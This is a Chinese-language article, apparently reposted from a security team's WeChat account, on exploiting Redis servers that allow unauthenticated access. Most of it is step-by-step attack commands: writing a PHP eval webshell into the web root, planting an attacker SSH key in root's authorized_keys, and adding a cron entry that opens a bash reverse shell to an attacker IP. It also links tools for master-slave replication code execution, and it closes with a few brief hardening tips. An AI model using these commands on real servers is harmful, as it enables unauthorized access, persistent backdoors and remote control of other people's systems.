内网普遍存在redis未授权访问情况,进入后可查看reids版本和主机系统信息
redis未授权访问不仅有信息泄露风险,伴随启动redis权限的不同还可能引发
-
Web应用程序被写入后门
-
服务器被写入攻击者ssh公钥
-
攻击者利用redis创建计划任务反弹shell
-
主从复制导致命令执行
下面详细介绍各情况
-
Web应用程序被写入后门
利用条件:
-
知道网站物理路径
-
物理路径有写入权限
具体流程:(假设为php环境,网站路径为/var/www/html)
#进入redis设置备份文件路径为网站物理路径
config set dir /var/www/html
#设置备份文件名为shell.php
config set dbfilename shell.php
#写入webshell内容
set shell "nn<?php @eval($_POST['password']);?>nn"
#保存
save
可以看到已经在/var/www/html中写入了shell.php文件
-
服务器被写入攻击者ssh公钥
利用条件:
-
对用户的/.ssh目录有写入权限,一般是写入root用户的ssh公钥
具体流程:
#在本机上生成root用户的ssh公钥
-t rsa
将ssh公钥保存至key.txt并且前后加上"n"换行避免写入后被文件中其他内容影响
cat id_rsa.pub >> key.txt
#写入ssh_key
cat /root/.ssh/key.txt |./redis-cli -h 172.17.0.2 -x set crack
#进入redis设置ssh公钥路径
config set dir /root/.ssh
#设置文件名
config set dbfilename authorized_keys
#保存
save
可以看到已经将ssh公钥写到/root/.ssh目录下
通过ssh公钥登录
-
攻击者利用redis创建计划任务反弹shell
利用条件
-
对计划任务的目录/etc/cron.d/、/etc/spool/cron/有写入权限
具体流程:(这里以/etc/spool/cron目录为例)
config set dir /var/spool/cron
config set dbfilename root
set shell "nn*/1 * * * * /bin/bash -i >& /dev/tcp/172.17.0.1/1234 0>&1nn"
成功弹回shell
PS1:
写入/etc/cron.d目录时,文件名随意,不会覆盖原有计划任务
计划任务格式为:* * * * * user command
写入/var/spool/cron目录时,文件名为用户名,且会覆盖该文件原有计划任务。
计划任务格式为:* * * * * command
PS2:
一般是在centos上利用计划任务反弹shell,因为redis写入文件权限默认为644,centos计划任务文件权限要求为644,而ubuntu和debian计划任务要求文件权限为600,故无法执行计划任务。
PS3:
如果是由sh(dash)执行计划任务,便无法用bin/bash命令反弹shell,这时可以用python和perl,php,ruby等反弹shell
-
主从复制导致命令执行
利用版本4.x-5.x
主从的意思就是把当前redis设置为备份库,等着把恶意文件远程备份过来,进行加载。注:从库在同步主库的时候,会把从库上的所有数据全部清空,请谨慎使用
#生成恶意文件
https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
#模拟redis服务,并设置主备服务器与恶意文件
https://github.com/Ridter/redis-rce
手动主从复制
#模拟redis服务py脚本
https://cloud.tencent.com/developer/article/1646400
将恶意文件与模拟脚本放在同一目录,启动服务
在redis上操作
安全建议:
-
开启redis密码认证并且设置高复杂度密码
-
禁止使用root用户启动服务
-
修改默认端口6379
原文始发于微信公众号(陆吾安全攻防实验室):redis未授权访问利用方式
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论